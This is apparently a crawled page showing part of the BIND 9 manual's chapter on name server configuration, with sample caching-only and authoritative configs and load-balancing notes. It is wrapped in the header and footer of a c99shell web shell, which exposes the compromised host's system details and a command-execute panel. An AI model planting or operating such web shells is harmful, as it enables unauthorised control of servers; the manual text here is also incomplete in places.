Software: Apache/2.0.54 (Fedora). PHP/5.0.4 uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/bind-9.3.1/arm/ drwxr-xr-x |
Viewing file: Select action/file-type: Chapter 3. Name Server Configuration
In this section we provide some suggested configurations along with guidelines for their use. We also address the topic of reasonable option setting. 3.1. Sample Configurations3.1.1. A Caching-only Name ServerThe following sample configuration is appropriate for a caching-only name server for use by clients internal to a corporation. All queries from outside clients are refused using the allow-query option. Alternatively, the same effect could be achieved using suitable firewall rules. // Two corporate subnets we wish to allow queries from. acl corpnets { 192.168.4.0/24; 192.168.7.0/24; }; options { directory "/etc/namedb"; // Working directory allow-query { corpnets; }; }; // Provide a reverse mapping for the loopback address 127.0.0.1 zone "0.0.127.in-addr.arpa" { type master; file "localhost.rev"; notify no; }; 3.1.2. An Authoritative-only Name ServerThis sample configuration is for an authoritative-only server that is the master server for "example.com" and a slave for the subdomain "eng.example.com". options { directory "/etc/namedb"; // Working directory allow-query { any; }; // This is the default recursion no; // Do not provide recursive service }; // Provide a reverse mapping for the loopback address 127.0.0.1 zone "0.0.127.in-addr.arpa" { type master; file "localhost.rev"; notify no; }; // We are the master server for example.com zone "example.com" { type master; file "example.com.db"; // IP addresses of slave servers allowed to transfer example.com allow-transfer { 192.168.4.14; 192.168.5.53; }; }; // We are a slave server for eng.example.com zone "eng.example.com" { type slave; file "eng.example.com.bk"; // IP address of eng.example.com master server masters { 192.168.4.12; }; }; 3.2. Load BalancingA primitive form of load balancing can be achieved in the DNS by using multiple A records for one name. For example, if you have three WWW servers with network addresses of 10.0.0.1, 10.0.0.2 and 10.0.0.3, a set of records such as the following means that clients will connect to each machine one third of the time: When a resolver queries for these records, BIND will rotate them and respond to the query with the records in a different order. In the example above, clients will randomly receive records in the order 1, 2, 3; 2, 3, 1; and 3, 1, 2. Most clients will use the first record returned and discard the rest. For more detail on ordering responses, check the rrset-order substatement in the options statement, see RRset Ordering. This substatement is not supported in BIND 9, and only the ordering scheme described above is available. 3.3. Name Server Operations3.3.1. Tools for Use With the Name Server DaemonThere are several indispensable diagnostic, administrative and monitoring tools available to the system administrator for controlling and debugging the name server daemon. We describe several in this section 3.3.1.1. Diagnostic ToolsThe dig, host, and nslookup programs are all command line tools for manually querying name servers. They differ in style and output format.
3.3.1.2. Administrative ToolsAdministrative tools play an integral part in the management of a server.
3.3.2. SignalsCertain UNIX signals cause the name server to take specific actions, as described in the following table. These signals can be sent using the kill command. |
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0036 ]-- |